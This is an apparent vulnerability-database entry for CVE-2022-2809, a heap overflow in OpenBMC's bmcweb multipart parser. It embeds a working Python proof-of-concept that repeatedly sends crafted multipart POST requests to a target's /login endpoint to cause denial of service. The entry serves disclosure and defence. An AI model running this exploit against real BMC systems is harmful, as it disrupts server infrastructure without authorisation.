CVE-2022-2809 (GCVE-0-2022-2809)

Vulnerability from cvelistv5 – Published: 2022-10-27 13:09 – Updated: 2025-05-05 20:20
VLAI?
Title
Unauthenticated out of bounds heap write in bmcweb
Summary
A vulnerability in bmcweb of OpenBMC Project allows user to cause denial of service. When fuzzing the multipart_parser code using AFL++ with address sanitizer enabled to find smallest memory corruptions possible. It detected problem in how multipart_parser handles unclosed http headers. If long enough http header is passed in the multipart form without colon there is one byte overwrite on heap. It can be conducted multiple times in a loop to cause DoS.
Severity ?
8.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H
CWE
  • CWE-229 - Improper Handling of Values
  • CWE-122 - Heap-based Buffer Overflow
Assigner
References
Impacted products
Vendor Product Version
OpenBMC Project OpenBMC Affected: 2.10 , < Release* (custom)
Create a notification for this product.
Credits
Finder: Jakub Rozanski, Intel Corporation Remediation: Krzysztof Grobelny, Intel Corporation
Show details on NVD website
To clipboard 

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          "value": "import socket\nimport ssl\nimport time\n\nHOST = \"\" # PROVIDE HOSTNAME or IP ADDRESS OF TARGET BMCWEB\nPORT = 443\n\nlength = 322\nadditional = \"\"\n\npayload = \"\"\"POST /login HTTP/1.1\\r\\nHost: \u003cHOST-IP-ADDR-HERE\u003e:8080\\r\\nUser-Agent: curl/7.58.0\\r\\nAccept: */*\\r\\nContent-Length: %s\\r\\nContent-Type: multipart/form-data; boundary=---------------------------d74496d66958873e\\r\\n\\r\\n-----------------------------d74496d66958873e\\r\\nt-DiPpcccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccgccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc%s\\r\\n\\r\\n\"\"\"\n\nif __name__ == \"__main__\":\n\n    while(True):\n        client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        client.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        client = ssl.wrap_socket(client, cert_reqs=ssl.CERT_NONE)\n\n        client.connect((HOST, PORT))\n        toSend = payload % (str(length), additional)\n        print(toSend)\n        client.send(toSend.encode(\u0027utf-8\u0027))\n        print(client.recv(4096))\n        client.close()\n        time.sleep(0.01)\n        length += 1\n        additional += \"a\""
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  • Confirmed: The vulnerability has been validated from an analyst's perspective.
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  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



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